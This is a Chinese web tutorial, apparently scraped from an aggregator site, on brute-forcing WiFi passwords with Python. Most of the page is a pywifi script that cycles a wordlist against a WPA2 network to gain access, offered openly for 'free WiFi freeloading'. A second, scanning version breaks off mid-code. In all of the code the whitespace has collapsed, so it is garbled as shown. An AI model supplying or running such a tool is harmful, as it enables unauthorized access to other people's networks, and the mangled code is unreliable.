笔记本wifi密码破解(破解WiFi的暴力方法)

您所在的位置:网站首页 笔记本主板加密怎么破解 笔记本wifi密码破解(破解WiFi的暴力方法)

笔记本wifi密码破解(破解WiFi的暴力方法)

2023-08-28 14:40| 来源: 网络整理| 查看: 265

本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI爆破

importpywifi frompywifi importconst importtime importdatetime # 测试连接,返回链接结果defwifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi() # 获取第一个无线网卡ifaces = wifi.interfaces()[0] # 断开所有连接ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() ifwifistatus == const.IFACE_DISCONNECTED: # 创建WiFi连接文件profile = pywifi.Profile() # 要连接WiFi的名称profile.ssid = "Tr0e"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码profile.key = pwd # 删除所有连接过的wifi文件ifaces.remove_all_network_profiles() # 设定新的连接文件tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi连接时间time.sleep(2) ififaces.status() == const.IFACE_CONNECTED: returnTrueelse: returnFalseelse: print("已有wifi连接") # 读取密码本defreadPassword():success = Falseprint("****************** WIFI破解 ******************") # 密码本路径path = "pwd.txt"# 打开文件file = open(path, "r") start = datetime.datetime.now() whileTrue: try: pwd = file.readline() # 去除密码的末尾换行符pwd = pwd.strip('n') bool = wifiConnect(pwd) ifbool: print("[*] 密码已破解:", pwd) print("[*] WiFi已自动连接!!!") success = Truebreakelse: # 跳出当前循环,进行下一次循环print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd)) except: continueend = datetime.datetime.now() if(success): print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start)) else: print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0) if__name__=="__main__": readPassword()

代码运行效果:

笔记本wifi密码破解(破解WiFi的暴力方法)

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

importpywifi importtime frompywifi importconst # WiFi扫描模块defwifi_scan():# 初始化wifiwifi = pywifi.PyWiFi() # 使用第一个无线网卡interface = wifi.interfaces()[0] # 开始扫描interface.scan() fori inrange(4): time.sleep(1) print('r扫描可用 WiFi 中,请稍后。。。('+ str(3- i), end=')') print('r扫描完成!n'+ '-'* 38) print('r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象bss = interface.scan_results() # 存放wifi名的集合wifi_name_set = set() forw inbss: # 解决乱码问题wifi_name_and_signal = (100+ w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信号排序wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambdaa: a[0], reverse=True) num = 0# 格式化输出whilenum < len(wifi_name_list): print('r{:


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3